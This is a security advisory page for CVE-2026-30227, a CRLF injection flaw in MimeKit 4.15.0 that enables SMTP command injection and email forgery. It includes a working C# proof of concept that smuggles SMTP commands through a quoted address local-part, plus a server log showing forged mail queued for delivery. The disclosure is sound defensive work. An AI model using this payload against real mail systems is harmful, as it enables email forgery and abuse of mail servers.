MimeKit
Affected
- introduced
0, fixed4.15.1(ecosystem)
Fixed versions
4.15.1
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-30227
MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery
Summary
A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.
RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.
Details
1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string
RFC 5321 defines:
mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF
Reverse-path = Path / "<>"
Path = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l = At-domain *( "," At-domain )
At-domain = "@" Domain
Mailbox = Local-part "@" ( Domain / address-literal )
Local-part = Dot-string / Quoted-string
Dot-string = Atom *("." Atom)
Atom = 1*atext
atext = ALPHA / DIGIT /
"!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" /
"=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"
Quoted-string = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP = %d32-33 / %d35-91 / %d93-126
When the local part is a quoted string, the characters <CR> and <LF> are not allowed.
2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)
In the MimeKit 4.15.0 version, when parsing the local part, the <CR> and <LF> characters in the double-quoted form will not be detected.
As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.
3) Affected components / versions
Any application that:
MailboxAddress from that input, andmay be impacted.
PoC
Environment:
mimekit_poc.csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="MailKit" Version="4.15.0" />
</ItemGroup>
</Project>
using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;
// === payload and target setting ===
var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");
// === below smtp session ===
// mimekit api
var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "[email protected]");
var headerTo = new MailboxAddress("Recipient", "[email protected]");
var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };
try {
using var protocolLogger = new ProtocolLogger(logPath);
using var client = new SmtpClient(protocolLogger);
var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
client.Connect(smtpHost, smtpPort, socketOption);
client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
client.Disconnect(true);
Console.WriteLine("[+] successfully send mail");
Console.WriteLine($"[+] view smtp session log at: {logPath}");
} catch (SmtpCommandException ex) {
Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
Environment.ExitCode = 1;
} catch (SmtpProtocolException ex) {
Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
Environment.ExitCode = 1;
} catch (Exception ex) {
Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
Environment.ExitCode = 1;
}
MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.tcpdump also shows the same raw SMTP stream (optional confirmation).Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:
Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<[email protected]>
C: RCPT TO:<[email protected]>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET
Notes:
MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.<CRLF>, so CRLF-in-argument is structurally hazardous by design.Medium Basis: The source's own band: MODERATE
0, fixed 4.15.1 (ecosystem)4.15.1
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0